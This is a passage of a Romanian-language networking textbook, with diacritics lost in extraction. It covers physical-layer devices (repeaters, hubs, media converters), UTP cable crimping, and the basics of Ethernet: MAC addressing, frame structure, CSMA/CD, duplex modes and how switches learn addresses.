fire torsadate. Semnalul este vocea uman transmis prin intermediul telefonului; n cazul n
care este folosit un modem pentru dial-up, semnalul const din datele transmise de calculator.
Acest sistem de comunicaie este de tip baseband, deoarece cele dou comunicaii nu pot
avea loc simultan. Dac ns se utilizeaz o conexiune DSL, atunci pe acelai mediu fizic pot fi
realizate simultan i telefonie i transmisie de date.
n cazul comunicaiei n band larg, pe acelai mediu fizic exist mai multe canale de
comunicaie independente, multiplexate ntr-un singur semnal broadband.
56 | R e e l e L o c a l e


1-21: Transmisie broadband (n band larg)
Un exemplu de transmisie broadband foarte des ntlnit este CATV. CATV (community
antenna television) este, de fapt, sistemul de televiziune prin cablu comun. Principiul de
funcionare este simplu: multiplexarea n frecven. Fiecare canal de televiziune are alocat o
band de frecven de 6 MHz. Firma de televiziune prin cablu recepioneaz practic posturile
TV de la diferite surse, prin diferite metode (cablu de cupru, fibr optic, antene radio) i
compune aceste semnale independente ntr-un singur semnal broadband, folosind o tehnic
optimizat de multiplexare n frecven. Acest semnal broadband este trimis pe cablul coaxial
ce ajunge acas, n televizor. Acesta, la rndul sau, utilizeaz un demultiplexor ce separ
semnalul broadband primit n canalele independente iniiale.
Caracteristicile conexiunilor broadband se redefinesc n permanen, odat cu trecerea
timpului, i variaz n funcie de ar. n 2004, spre exemplu, o conexiune broadband n Anglia
trebuie s ofere minim 2 Mbps, n Germania i Statele Unite serviciile boadband ncep de la 4
Mbps, n vreme ce n Japonia majoritatea furnizorilor de servicii broadband ofer minim 20
Mbps
1.5 Echipamente de reea de nivel fizic
Deoarece la nivel fizic nu exist date, ci doar semnale, aceste echipamente nu fac dect s
prelucreze semnalul fizic, fr s ncerce s interpreteze datele transmise prin acel semnal.
1.5.1 Repetorul
Principala funcie a repetorului este aceea de a extinde suprafaa acoperit de o reea.
Repetorul este un echipament care primete un semnal i l retransmite la o putere mai mare,
mpiedicnd ca atenuarea sa ating o valoare prea mare, sau l redirecioneaz, pentru ca
semnalul s poat ocoli un obstacol. Sunt importante aspectele legate de cost i, n special, de
latena introdus. Ambele trebuie s fie ct mai mici.
Un repetor digital amplific, restaureaz, sincronizeaz sau aplic orice combinaie a
acestor funcii asupra unui semnal digital.
Comunicaiile intercontinentale sau cele pe sub ocean ar fi imposibile fr existena
repetoarelor.
1.5.1.1 Pentru cupru - Hub
Hubul sau repetorul multiport poate conecta mai multe cabluri, astfel nct toate vor face
parte dintr-un segment de reea partajat. ntruct hubul este un dispozitiv de nivel fizic, el nu
interpreteaz n niciun fel semnalul, ci doar l trimite mai departe pe toate porturile, cu
excepia celui pe care a fost recepionat. n mod evident, aceasta duce la un risc foarte ridicat
al producerii de coliziuni, tratarea lor rmnnd devenind responsabilitatea fiecrei staii
conectate.
57 | N i v e l u l f i z i c

Odat cu scderea preurilor la switchuri, huburile au nceput s nu mai fie folosite n
reele locale; ele mai pot fi vzute doar n infrastructuri mai vechi.
1.5.1.2 Repetoare optice
Dup cum s-a observat, limitrile distanei maxime la care se poate ntinde un segment de
fibr optic sunt date numai de puterea de emitere a dispozitivelor terminale. De aceea,
pentru extinderea ariei de acoperire n sistemele de fibr optic se folosesc repetoare i
amplificatoare optice, capabile s regenereze semnalele pe distane de sute de kilometri.
Un repetor folosit n comunicaia prin fibr optic, cunoscut i sub numele de OEO
(Optical-Electrical-Optical) este un dispozitiv a crui principal funcie este s primeasc
semnalul optic, s l transforme n semnal electric, s l prelucreze i apoi s emit din nou
semnalul optic, eliminnd astfel atenuarea acestuia ce poate duce la erori de interpretare n
cazul transmisiilor pe distane foarte mari. n ziua de azi, din cauza eficienei sczute i a
costului mare de implementare, repetoarele au fost nlocuite cu amplificatoare optice (EDFA -
Erbium Doped Fiber Amplifier). Acestea pot amplifica semnalul o dat la 1000 km fr a mai fi
nevoie de conversii multiple ntre semnalele electrice i cele optice. Un amplificator optic
crete puterea semnalului fr s l transforme n semnal electric, ceea ce nseamn c nu l
regenereaz, ci doar l amplific. Aceast tehnic este posibil deoarece n mediul optic
atenuarea este cea care limiteaz distanele i nu distorsionarea semnalului.
Inovaiile recente n domeniul fibrei optice i al comunicaiilor prin fibr optic au redus
degradarea semnalului optic att de mult nct nevoia de regenerare a acestuia apare pe
distane ce depesc cteva sute de kilometri. Aceasta a crescut eficiena reelelor optice, mai
ales a celor ce se ntind pe sub oceane (Atlantis-2, TGN Atlantic, Hibernia), unde costul i
eficiena amplificatoarelor este unul dintre factorii cheie ce determin performana ntregului
sistem de cablare
1
.
1.5.1.3 Repetoare wireless
Pe lng regenerarea semnalului, repetoarele wireless sunt folosite i pentru ghidarea
acestuia. Spre exemplu, dac ntre dou centre de emisie radio exist un obstacol (un deal mai
nalt, sau un munte) i ele nu se vd, comunicaia nu este posibil. Pentru ca semnalul radio
s poat fi recepionat i de cealalt parte a obstacolului, este necesar instalarea, chiar n
vrf, a unui repetor wireless care s preia semnalul de pe un versant i s l emit ctre
cellalt. Aceast tehnic este folosit pentru orice fel de transmisii fr fir: radio, televiziune,
telefonie mobil, etc. Frecvenele undelor cu care se opereaz sunt cuprinse ntre frecvenele
undelor radio i ale microundelor.
Din punct de vedere al alimentrii cu energie electric, repetoarele wireless se mpart n
active i pasive. Cele active constau n antene direcionale instalate n locaii cu nlimi ct
mai mari (turnurile radio, de televiziune, etc), ce permit accesul la o surs de alimentare
electric. n locurile greu accesibile (vrfuri de munte, deert, etc) sunt montate repetoarele
pasive, care nu necesit o surs de energie electric, ns propag un semnal mult mai slab.
Exist i repetoare radio pentru radio-amatori sau pentru cei care vor s extind zona de
acoperire a echipamentelor wireless de putere mic. Acestea acoper distane mai scurte (de
ordinul sutelor de metri).

1
http://www.atlantic-cable.com/Maps/index.htm
58 | R e e l e L o c a l e

1.5.2 Convertorul
Convertorul sau transceiver-ul - termen provenind din combinarea lui trans(mitter) cu
(re)ceiver - ofer posibilitatea inteconectrii a dou medii de comunicaie diferite.
Convertoarele sunt clasificate n dou categorii: convertoare pasive i convertoare active, cele
din urm necesitnd alimentarea la o surs de curent pentru a putea funciona.
1.5.2.1 Convertoare pasive
n categoria convertoarelor pasive sunt convertoarele ce fac trecerea de la conectorul DB-
15 (AUI), la UTP sau BNC. Dei reelele locale pe cablu gros au disprut odat cu venirea anilor
90, interfeele AUI au fost interfeele Ethernet standard pentru routerele oferite de
majoritatea productorilor de echipamente de reea, pn spre sfritul anilor 90. Pentru
folosirea unei astfel de interfee ntr-o reea local este nevoie de un convertor. Din pcate,
preul unui convertor AUI a rmas constant de aproape 10 ani, n jurul valorii de 25 de USD.
Convertoarele UTP BNC nu s-au bucurat de o popularitate prea mare datorit integrrii
funciei de conversie ntre mediul coaxial i cel torsadat la nivelul hubului, precum i a
tendinei continue de scdere a preurilor pentru huburi.
1.5.2.2 Convertoare electric optic
Cel mai frecvent ntlnite convertoare active fac trecerea de la mediul optic la cel electric.
Aceste convertoare se numesc MC (Media Convertor), dei uneori sunt numite tot
transceivere. O alternativ la folosirea unui astfel de convertor o reprezint switchurile, ce
ofer att interfee optice, ct i porturi RJ-45. Totui, costul unui astfel de switch depete
1000 USD, n vreme ce costul unui MAU (Medium Attachement Unit) oscileaz n jurul a 100
USD.
1.5.2.3 Convertoare electric wireless
Dispozitivul care transform semnalul electric primit pe fir de cupru n und
electromagnetic de nalt frecven pe care o mprtie n aer este Acces-Point-ul. Deoarece
standardele de transmisie wireless conin specificaiile de nivel fizic (distana, limea de
band, puterea de transmisie) n strns legtur cu cele de nivel legtur de date, s-a optat
pentru prezentarea soluiilor de comunicaie fr fir ntr-un capitol dedicat.
1.6 Studii de caz
1.6.1 Realizarea patch-urilor UTP straight-through, crossover, rollover
Pentru sertizarea unui cablu UTP CAT5 este necesar un clete de sertizat i de un conector
8P8C (numit i RJ45). Prima operaie const n nlturarea izolaiei din jurul firelor din cablu.
Trebuie acordat o atenie deosebit la detorsadarea firelor: atunci cnd se ndeprteaz
manonul de plastic i se detorsadeaz perechile pentru a putea introduce firele n muf,
trebuie ca bucata de cablu detorsadat sa fie ct mai mic. n caz contrar, va aprea o
interferen ntre fire ce produce efectul de crosstalk. Practic, se taie 3-4 cm din manon, se
detorsadeaz firele, se aranjeaz n ordinea dorit, iar apoi, cu ajutorul unor lame ale cletelui
de sertizat, se taie firele astfel nct dimensiunea zonei neizolate s reprezinte aproximativ
din lungimea mufei. n acest fel, firele vor ajunge pn n captul mufei asigurnd un contact
electric perfect, iar bucata detorsadat va fi aproape inexistent, minimiznd riscul apariiei
crosstalk-ului.
Mufele RJ-45, folosite pentru terminarea cablurilor UTP, conin 8 lcauri n care trebuie
aduse cele 8 fire. Pinii conectorului sunt nite lamele metalice care, iniial, se afl deasupra
59 | N i v e l u l f i z i c

lcaului, pentru ca firul de cupru s poat intra. Prin folosirea cletelui de sertizat lamelele
sunt mpinse n lcaurile unde se gsesc firele. Prin apsare, lamelele vor strpunge firul de
cupru, realizndu-se astfel contactul electric.
Pentru realizarea unui patch UTP straight-through firele trebuie s se gseasc n ambii
conectori, fie n ordinea impus de T568A, fie T568B. Acelai standard trebuie respectat i la
un capt i la cellalt.
Pentru realizarea unui patch UTP crossover perechea verde dintr-un capt este inversat
cu perechea portocalie din cellalt. Cu alte cuvinte, una din terminaii respect T568A, cealalt
T568B.
Pentru realizarea unui patch UTP rollover, se sertizeaz un capt al cablului folosind unul
dintre standarde, iar la cellalt capt firele se aeaz n ordine invers (n oglind) pinul 1 va
corespunde pinului 8, pinul 2 va corespunde pinului 6, etc.
Ordinea firelor pentru cele dou standarde se regsete n figura 1-11.
Dac nu se respect standardul, exist un risc major ca cele dou fire folosite pentru Rx
sau Tx s nu fac parte din aceeai pereche, i s nu-i mai anuleze reciproc cmpurile
electrice. Practic, torsadarea nu mai acioneaz corect si sunt generate interferene ce
altereaz semnalul electric. (Cu alte cuvinte ori nu va merge, ori va merge extrem de prost!)
n general, n Europa se folosete standardul 568B , iar n Statele Unite 568A. De ce este
important de tiut i de respectat acest lucru? Teoretic, nu conteaz care din acest standard
este utilizat att timp ct ambele mufe (de la cele dou capete) sunt fcute folosind acelai
standard. Practic ns, la construirea i administrarea unei reele de mari dimensiuni lucreaz
muli oameni, care nu ntotdeauna comunic ntre ei. Aadar, pentru reducerea erorilor
umane este necesar respectarea aceluiai standard.

60 | R e e l e L o c a l e

2 Reele Ethernet
Ce se nva din acest capitol?
Ce reprezint standardul 802.3
Cum funcioneaz CSMA/CD
Modul de funcionare al unui switch Ethernet
Cum sunt evitate buclele de nivel 2 folosind STP
Reea local virtual (VLAN)
Standardul 802.1Q
Cine este...
Norman Abramson este vicepreedintele ALOHAnet, prima reea de calculatoare,
nfiinat la Universitatea din Hawaii. Ideea ALOHAnet este de a folosi o infrastructur de
cost sczut de tipul radioului pentru amatori pentru a lega calculatoarele universitii,
aflate la mare distan. Desi reeaua nu se mai foloseste, a reprezentat un punct de
pornire al Interetului. Norman Abramson a primit de la IEEE medalia Alexander Graham
Bell.
Bob Metcalfe este co-inventator al protocolului Ethernet, fondator al 3Com i al legii
care i poart numele. n timp ce i susinea doctoratul la MIT s-a implicat n conectarea
universitii la noua reea ARPAnet, fiind responsabil cu gsirea unui hardware care s
fac legatura. n timp ce a fost angajat la Xerox PARC a co-inventat Ethernetul. Dupa ce a
plecat de la Xerox a pornit 3Com, companie ce fabric componente de reelistic. Legea lui
Metcalfe afirm c valoarea unei reele de telecomnunicaii este direct proporional cu
ptratul numrului de utilizatori.
2.1 Noiuni generale
Ethernet este n ziua de azi tehnologia dominant de LAN, ce definete un numr de
standarde pentru nivelul fizic, o metod de acces la mediu (CSMA/CD) i o schem de
adresare. Primul standard Ethernet a fost publicat n 1980 de un consoriu format din firmele
DEC, Intel i Xerox, consoriu numit DIX. Cu cteva modificri minore, acesta a devenit trei ani
mai trziu standardul IEEE 802.3. Alte standarde IEEE importante sunt : 802.11 Wireless LAN;
802.1d definire cadre speciale (BPDU) i funcionarea acestora; 802.1q standard pentru
VLAN-uri ; 802.1x standard de autentificare.
Pentru comunicarea n cadrul unei reele Ethernet, ca i n cazul altor standarde IEEE 802,
fiecrei staii i se atribuie o adres MAC (Media Access Control) unic pe 48 de bii exprimai n
12 cifre hexazecimale, ce este folosit pentru a specifica att sursa ct i destinaia fiecrui
pachet de date.
Adresa MAC este un ir de 48bii folosit pentru asigurarea unicitii n reelele Ethernet.
O adres MAC este stocat n memoria ROM i este ncrcat n RAM n momentul
iniializrii plcii de reea. Din aceast cauz adresele MAC mai sunt numite i adrese fizice sau
burned-in addresses (BIAs).
Adresele MAC sunt adrese ce folosesc o schem de adresare plat (spaiul de adresare
ocupat treptat i complet). Cum stau lucrurile n realitate? Instituia ce administreaz adresele
fizice este IEEE. Problema este c IEEE nu poate monitoriza direct atribuirea fiecrei adrese
fizice, astfel nct transfer aceast responsabilitate productorilor. Din cei 6 octei ce compun
adresa fizic primii trei vor fi folosii pentru identificarea fabricantului, acest cmp fiind
61 | R e e l e E t h e r n e t

denumit Organizational Unique Identifier (OUI), iar urmtorii trei octei sunt dai de ctre
fabricant n mod unic fiecrui dispozitiv de reea. Astfel, spaiul adreselor fizice poate fi
ordonat fr ndoial dup productor, informaie totui inutil, deoarece rar se ntmpl ca
ntr-o reea s existe dispozitive de reea produse de un singur productor.
n concluzie mulimea adreselor fizice este o mulime neordonat, care n plus nu poate
folosi integral spaiul de adrese. Cu toate acestea schema de adresare fizic este unul dintre
puinele lucruri ce nu a trebuit schimbat i nici mcar actualizat pe parcursul ultimilor douzeci
de ani. IEEE a anunat faptul c spaiul adreselor fizice nu va fi epuizat mai devreme de anul
2100
1
. Dei diferena ntre schema de adresare fizic (MAC - 48 de bii) i schema de adresare
de nivel trei dominant astzi n Internet (IPv4), ce asigur identificarea fiecrei staii n mod
unic printr-o adres logic pe 32 de bii, nu este foarte mare (doar 16 bii), n ziua de astzi
exist o nevoie de extindere a celei din urm la 128 de bii (IPv6). Apariia i dezvoltarea rapid
a reelelor de calculatoare personale va duce treptat la epuizarea adreselor IPv4, estimat de
unii vizionari ntre anii 2019 2040.
Adresele fizice ofer suport pentru 3 tipuri de comunicaie: direct (unicast), prin difuzare
(broadcast) i cu destinaie multipl (multicast), primele dou tipuri fiind mult mai populare
dect ultimul tip de comunicaie. Adresa de difuzare pentru nivelul legtur de date are o
valoare unic, aceasta fiind: FF:FF:FF:FF:FF:FF.
Avnd numeroase avantaje (uurina de instalare i ntreinere, capacitatea de a introduce
noi tehnologii, fiabilitatea, costul relativ sczut), reelele Ethernet sunt de tip shared-media
(mediu multiacces mai multe staii conectate la acelasi mediu fizic), deci orice cadru transmis
de ctre o staie va fi recepionat de ctre toate celelalte staii din reeaua local.
2.1.1 Structura cadrului Ethernet
Din punctul de vedere al cadrului Ethernet, protocolul ofer trei tipuri de informaii:
identificarea destinaiei i a sursei pe baza unei adrese MAC, precizarea protocolului de nivel
superior (de nivel reea) i o sum de control pentru verificarea integritii datelor.
Structura cadrului Ethernet este aproape identic, indiferent de varianta de Ethernet
folosit, i conine urmtoarele cmpuri:
6 6 2 46-1500 4
Adres
destinaie
Adres
surs
Lungime/Tip Date
Sum de
control
2-1: Structura cadrului Ethernet
Antetul Ethernet este de 14 octei, mprii n trei cmpuri: 6 octei pentru adresa
destinaie, 6 octei pentru adresa surs i 2 octei pentru cmpul tip, cmp ce este folosit
pentru precizarea protocolului de nivel superior.
Cmpul Lungime/Tip din antetul Ethernet este interpretat ca i lungime a cadrului dac
valoarea sa este mai mic de 1536 (0x600 n hexazecimal). Dac este mai mare de 1536, el
reprezint protocolul de nivel superior folosit.
Cmpul de date trebuie s fie mai mare de 46 de octei. Dac din ntmplare datele sunt
de lungime mai mic, se adaug o umplutur numit padding pentru a ajunge la
dimensiunea minim de 46 de octei. Acest cmp nu are voie s depeasc dimensiunea MTU
Maximum Transmission Unit care pentru Ethernet este de 1500 octei, ceea ce nseamn
c un cadru Ethernet nu are voie s fie mai mic de 64 sau mai mare de 1518 octei.

1
http://standards.ieee.org/regauth/oui/
62 | R e e l e L o c a l e

Suma de control este ataat la sfritul cadrului, sub forma unui cmp de 4 octei, n
scopul detectrii erorilor de transmisie. Numrul erorilor CRC este extrem de redus n reele
locale actuale, astfel c relevana acestui cmp este sczut.
Succesul viitor al reelelor Ethernet pare incontestabil. Standardul Ethernet a continuat s
se dezvolte i este nc n curs de dezvoltare. n reelele locale preurile switchurilor de
GigabitEthernet i a interfeelor de reea se apropie tot mai mult de preurile de FastEthernet.
Metro Ethernet a devenit o tehnologie rspndit n reelele de ISP, tehnologie ce i
propune aducerea standardului Ethernet n reelele metropolitane (MAN), nucleul reelei fiind
bazat pe o structur IP/MPLS deja existent. Noi standarde la 10 Gbps pe cupru i fibra optic
multi-mode au aprut deja pentru a rspunde cerinelor de band din reelele metropolitane.
Prin mrirea vitezelor i a lungimii maxime a unui segment, Ethernet devine o tehnologie
viabil att pentru MAN ct i pentru WAN.
n figura de mai jos este prezentat o evoluie sumar a standardelor Ethernet. n iulie
2003 s-a standardizat 802.3ae, ce ofer viteze de pn la 10 Gpbs doar pentru reele de fibr
optic. Ultima standardizare a Ethernet-ului (IEEE 802.3an) a fost aprobat pe 17 iulie 2006 i a
fost publicat pe 1 septembrie 2006, oferind viteze de pn la 10 Gpbs pe cablu torsadat
(UTP). Dei exist echipamente de reea spre vnzare, standardul pentru 40Gbps este ateptat
n 2009.
Ethernet Concurena
1983 802.3 1 Mbps
802.5 4 Mbps
802.3 10 Mbps
802.5 16 Mbps
1995

ATM 155 Mbps
802.3u 100 Mbps

1996

ATM 622 Mbps
1998 802.3z 1000 Mbps
2003 802.3ae 10 Gbps
2-2: Evoluia standardelor Ethernet
2.1.2 CSMA/CD
Problema iniial de la care au pornit reelele Ethernet era gsirea unei metode de
arbitrare a accesului la mediul de comunicaie comun. Aceast dificultate a fost prima oar
explorat n anii `70, la o universitate din Hawaii, ntr-un proiect ce i propunea s ofere acces
mai multor utilizatori la o reea fr ca semnalele lor s se amestece. Rezultatul proiectului a
fost reeaua Alohanet, care a devenit mai trziu baza pentru CSMA/CD (Carier Sense Multiple
Access / Colison Detection), metoda de acces la mediu folosit n reelele Ethernet.
Reelele Ethernet sunt de tip shared-media, deci orice cadru transmis de ctre o staie va fi
recepionat de ctre toate celelalte staii din reeaua local. Toate calculatoarele, la
recepionarea unui cadru valid, vor verifica dac adresa MAC nscris n cadrul cmpului
destinaie din antetul cadrului primit este identic cu adresa MAC proprie. Dac nu se
stabilete c cele dou adrese sunt identice, cadrul este ignorat i nu va fi transmis ctre
nivelul reea.
Prezena adresei surs n cadru se explic prin faptul c orice comunicaie este
bidirecional, n sensul c orice cadru transmis are de obicei ca urmare emiterea unui cadru
de rspuns.
63 | R e e l e E t h e r n e t

Protocolul CSMA/CD este cel pe baza cruia funcioneaz Ethernet. Deoarece Ethernet se
bazeaz pe un mediu de tip partajat (shared-media), numai o singur staie poate transmite la
un moment dat.

2-3: Tratarea coliziunilor
Cnd o staie dorete s transmit, ea urmeaz urmtorul procedeu: ascult pe fir s
vad dac nu cumva mai transmite cineva n acel timp. Dac aude c mai transmite cineva,
staia ateapt o perioad de timp aleatoare dup care ncearc din nou (adic ascult din
nou). Dac nu transmite nimeni, staia ncepe s transmit, ns n acelai timp continu i s
D
a
N
u
D
a
D
a
N
u
N
u
D
a
Se primesc date
pentru transmisie
Mediu
liber?
Asambleaz cadrul
ncepe transmisia
A aprut o
coliziune?
Transmite cadrul
urmtor
Transmite semnal de
bruiaj
ncercri= ncercri+1
Mai sunt
cadre?
Transmisie
ncheiat
ncercri <
max_ncercri?
Abandoneaz
transmisia
Calculeaz
algoritmul de
backoff
Ateapt q
microsecunde
N
u
64 | R e e l e L o c a l e

asculte, pentru a fi sigur c nu a mai nceput nimeni s transmit. Dup ce transmisia se
termin, staia se ntoarce la starea iniial n care ascult.
Se poate ns ca dou staii, urmnd acest procedeu, s constate c nu mai transmite
nimeni, i considernd mediul liber, s nceap transmisia simultan, moment n care cadrele
de la dou staii diferite sunt pe acelai mediu, ceea ce determin o coliziune.
O coliziune are loc atunci cnd doi bii de la dou staii diferite care transmit se afl pe
acelai mediu de transmisie n acelai timp.
n cazul transmisiunilor analogice pe cupru (cablu coaxial), tensiunile celor dou semnale
binare se adun, genernd astfel un al treilea nivel de tensiune. Aceast variaie a tensiunii
este interpretat drept o coliziune.
n cazul transmisiunilor digitale (cablu torsadat sau fibr optic), mediul de transmisie este
full-duplex, iar coliziunile apar la nivelul emitorului, a receptorului sau a dispozitivelor de
interconectare (spre exemplu un hub va permite apariia de coliziuni). Coliziunile aprute pe o
plac de reea sau pe un switch half-duplex sunt coliziuni logice. Astfel dac o staie ncepe s
trimit un cadru, dar nainte de a finaliza transmisia ncepe s recepioneze trafic, se va
interpreta situaia ca i o coliziune, va ntrerupe transmisia i va iniia algoritmul de backoff.
Cnd staiile aud coliziunea, continu s transmit nc o perioada foarte scurt de timp
(semnalul de jam) pentru a fi sigure c toate staiile din reea au sesizat-o. Dup ce aceast
coliziune a fost remarcat de toate staiile din reea (mai exact, din domeniul de coliziune),
este apelat un algoritm de backoff i transmisia nceteaz. Toate staiile se opresc din transmis
pentru o perioad aleatoare de timp, dup care rencearc s transmit.
2.1.3 Full-duplex Ethernet
Exist dou moduri de transmisie (numite i duplex): half-duplex i full-duplex. n modul de
transmisie half-duplex o staie nu poate trimite i primi n acelai timp: ori transmite, ori
primete.
De exemplu, cablul coaxial este prin definiie un mediu pentru half-duplex, pentru c
transmisia i recepia se realizeaz pe acelai fir. Pe cablurile torsadate ns, prin folosirea unei
perechi separate pentru transmisie (numit Tx) i unei alte perechi pentru recepie (numit
Rx) se poate asigura suport de comunicaie full-duplex.
Pentru ca o comunicaie s fie full-duplex trebuie ca att mediul de transmisie, ct i
participanii la conversaie s ofere suport full-duplex.
Cablul torsadat reprezint un mediu de comuncaie full-duplex, dar dac se folosete un
hub, sau o plac de reea configurat half-duplex, comunicaia se va realiza half-duplex.
Switchurile i plcile de reea actuale ofer suport att pentru comunicaie full-duplex, ct
i pentru comunicaia half-duplex. Modul de funcionare poate fi configurat manual (din
driverul plcii de reea, sau interfaa switchului), sau automat, n urma negocierii. Dac
autonegocierea nu reuete i nu sunt fcute setri manuale, transmisia se va face pe half-
duplex.
Atunci cnd folosim full-duplex nu se mai folosete modul de acces la mediu CSMA/CD
pentru c aceasta nu mai este o reea de tip mediu partajat. Mai exact, dac este posibil
transmiterea i primirea de date n acelai timp, nu mai pot avea loc coliziuni. Astfel, n cadrul
unei transmisii full-duplex, nu se mai realizeaz detecia de coliziuni.
Limitrile de distan din standardele Ethernet sunt specificate pentru modul de acces la
mediu CSMA/CD, i nu mai sunt valabile pentru full-duplex. Aceste limitri, cel mai adesea,
sunt calculate astfel nct s permit tuturor staiilor conectate s sesizeze apariia unei
65 | R e e l e E t h e r n e t

coliziuni. n condiiile full-duplex, singura limitare a distanei este cea tehnologic. Un exemplu
este FastEthernet pe fibra optic single-mode, a crui distan este limitat de standardul IEEE
802.3 la 3000m, n condiii de acces CSMA/CD, ns pentru o legtur punct-la-punct full-
duplex, se pot folosi transceiver-uri puternice obinnd o legtur de pn la 120km.
Standardul 10Gigabit nu mai prevede un mod de comunicaie half-duplex ci doar full-
duplex, motiv pentru care toi parametrii legai de apariia coliziunilor (numr de ncercri,
timp de backoff, etc) sunt nespecificai.
2.2 Ethernet switching
n continuare vor fi analizate reelele Ethernet i switching-ul cadrelor la nivel doi.
Switching-ul de nivel doi presupune folosirea adreselor fizice a staiilor dintr-un LAN n
vederea segmentrii reelei. Dup cum se tie, Ethernet se bazeaz pe un mediu de tip partajat
(shared-media), deci numai o singur staie poate transmite la un moment dat. Se poate ca
dou staii s nceap transmisia simultan, moment n care cadrele de la cele dou staii
diferite se afl pe acelai mediu, ceea ce determin o coliziune. Reelele Ethernet ar funciona
foarte bine n condiii ideale. Dac numrul utilizatorilor n reea devine ns foarte mare,
atunci numrul coliziunilor ar crete semnificativ, ducnd la o scdere a performanelor
reelei. Astfel, nevoia de a sparge domeniile mari de coliziune n domenii mai mici a fost vital.
Domeniile de coliziune i cele de difuzare au nceput s fie treptat proiectate cu scopul de a
limita efectul negativ al coliziunilor i al difuzrilor asupra performanelor reelei.
Un domeniu de coliziune reprezint acea seciune dintr-o reea n care se va propaga o
coliziune. Switchurile i routerele limiteaz domeniile de coliziune, dar repetoarele le extind.
Un domeniu de difuzare (domeniu de broadcast) reprezint acea seciune dintr-o reea n
care se va propaga un pachet de difuzare (broadcast). Routerele limiteaz domeniile de
difuzare, dar repetoarele i swichurile le extind.
Un segment de reea este echivalent cu un domeniu de coliziune, dup cum unei reele i
corespunde un domeniu de difuzare.
Care sunt mecanismele de decizie ale unei switch? Cele dou mecanisme ce fac din switch
un dispozitiv de interconectare inteligent sunt: ncapsularea datelor la nivel legtur de date
i folosirea unei scheme de adresare pentru livrarea acestora. Toate deciziile luate de un
switch sunt bazate pe adresa fizica (MAC), neafectnd adresa logic (adresa de nivel trei) a
pachetului.
Gruparea datelor nu se face la nivel de bit ci la nivel de cadru, un cadru putnd conine
pn la 1500 de octei n cazul cadrului Ethernet, 2300 pentru WLAN, sau chiar 8000 de octei
n cazul Token Ring.
n prezent, o reea local este format din switchuri, AP-uri i routere.
Definiia cea mai rspndit a switchurilor identific orice bridge multiport cu un switch.
n realitate, dei aceast definiie acoper vasta majoritate a cazurilor, exist bridge-uri
multiport ce nu sunt switchuri.
n timp ce switchul este definit ca un dispozitiv de interconectare de nivel legtur de
date, definiia switchului include att funcii de nivel fizic, ct i de nivel legtur de date.
Aceasta diferen nu se datoreaz unei latene mai mici sau unui cost mai sczut comparativ
cu o punte, ci faptului c n reelele Ethernet ce folosesc mediul torsadat switchul preia funcia
principal a hubului, i anume aceea de a asigura conectarea tuturor nodurilor la un mediu de
transmisie.
66 | R e e l e L o c a l e

Pe interfeele unui switch se pot conecta staii sau segmente ntregi. Cu toate acestea,
reelele switched sunt rspunsul la cerinele crescnde de securitate i de lime de band
pentru fiecare nod. Reelele comutate vor folosi cte un port pentru fiecare staie, reducnd
dimensiunea domeniilor de coliziune la doar dou noduri (unul fiind placa de reea din
respectiva staie, iar cel de-al doilea portul din switch care o conecteaz pe aceasta).
Principalele funcii ale unui switch sunt: nvarea adreselor (popularea tabelei MAC) i
modul de comutare a cadrelor. Pe lng acestea, exist o serie de funcii pe care unele
switchuri le pot oferi: eliminarea buclelor de nivel doi, separarea reelelor locale virtuale, etc.
2.2.1 nvarea adreselor
Switchurile de nivel doi rein adresa fizic surs a cadrului primit pe o interfa i
introduc aceast informaie ntr-o tabel - tabel de comutare - numit i tabel MAC
(bridging/switching table). n aceast tabel fiecarei adrese fizice i este asociat una dintre
interfeele sale. n figura de mai jos este exemplificat o astfel de tabel.

Interfa Adres MAC
E0 00.48.C2.01.78.12
E0 00.00.2E.00.59.91
E1 00.00.54.91.01.4A
2-4: Tabel de comutare cu 3 intrri
De exemplu, prima intrare are urmtoarea semnificaie: destinaia 00.48.C2.01.78.12 se
afl pe segmentul conectat pe interfaa E0 a switchului (E0 este prescurtarea de la Ethernet 0,
prima interfa Ethernet).
Cum i construiete switchul tabela de comutare?
Tabela de comutare este pstrat n memoria RAM a switchului i prin urmare se pierde
dac switchul este reiniializat. n plus, un switch trebuie s includ dinamic n tabela de
comutare informaii despre o nou staie conectat n reea.
Se consider reeaua din figura de mai jos, unde switchul 1 a fost reiniializat, i staia A1
vrea s comunice cu staia B1.

2-5: Construirea tabelei de comutare pentru o reea cu switchuri
Staia A1 ascult mediul, iar cnd acesta este liber trimite un cadru ce are ca destinaie
staia B1. Staiile A2 i A3 ignor cadrul. Switchul 1 primete cadrul i ncearc s gseasc
adresa destinaie n tabela sa de comutare. Switchul nu reuete s gseasc destinaia,
67 | R e e l e E t h e r n e t

deoarece tabela sa de comutare este goal, astfel nct el transmite cadrul pe toate
segmentele la care este conectat, n afar de segmentul de pe care a fost primit cadrul
(flooding). n aceast etap, funcionarea switchului este similar cu cea a unui hub. nainte de
a retransmite cadrul switchul verific dac adresa surs este prezent n tabela sa de
comutare. n acest caz nu este, astfel nct switchul creeaz prima intrare n tabela de
comutare, intrare ce conine adresa fizic a staiei A1 i interfaa switchului ce conecteaz
segmentul A. Cadrul ajunge att pe segmentul D (unde staiile D1 i D2 decid c acesta nu le
este adresat i l ignor) ct i pe segmentul B, la staiile B1 i B2 i la switchul 2.
Switchul 2 decide c destinaia se afl n segmentul din care a primit cadrul i deci nu l
mai retransmite, iar staia B1 decide c ea este destinatarul cadrului.
Urmtoarele intrri n tabela de comutare sunt adugate n mod similar, pe baza
informaiilor coninute n cmpul surs a cadrelor ce ajung la switch.
Chiar i comunicaia ntre dou staii aflate n acelai segment poate afecta limea de
band din ntreaga reea, dac switchul nu a apucat s-i construiasc tabela de comutare.
Se consider c staia A1 trimite un cadru ctre A2, dup cel trimis ctre B1. Cadrul ajunge
la destinaie fr ajutorul switchului, dar switchul, neidentificnd destinaia n tabela sa de
comutare, va retransmite cadrul att pe segmentul B, ct i pe segmentul D.
Datorit dificultii cutrii ntr-o mulime neordonat, n tabela de comutare nu sunt
pstrate toate adresele staiilor din reeaua local, ci doar ale celor cu o probabilitate mare s
transmit n viitorul apropiat - mai exact a ultimelor staii care au transmis. Pentru
implementarea acestui concept, o intrare ntr-o tabel de comutare va include i o etichet de
timp, pe lng adresa MAC i interfa. Eticheta de timp este actualizat cnd se primete un
nou cadru cu aceeai adres surs. Acest mecanism permite nlturarea intrrilor nvechite i
duce deci la restrngerea dimensiunii tabelei de comutare. Preul pltit, n cazul n care o
staie nu transmite niciun cadru un interval de timp, este consumul din limea de band a
tuturor segmentelor din reea.
Exist o singur excepie notabil la procesul descris mai sus: n cazul n care adresa
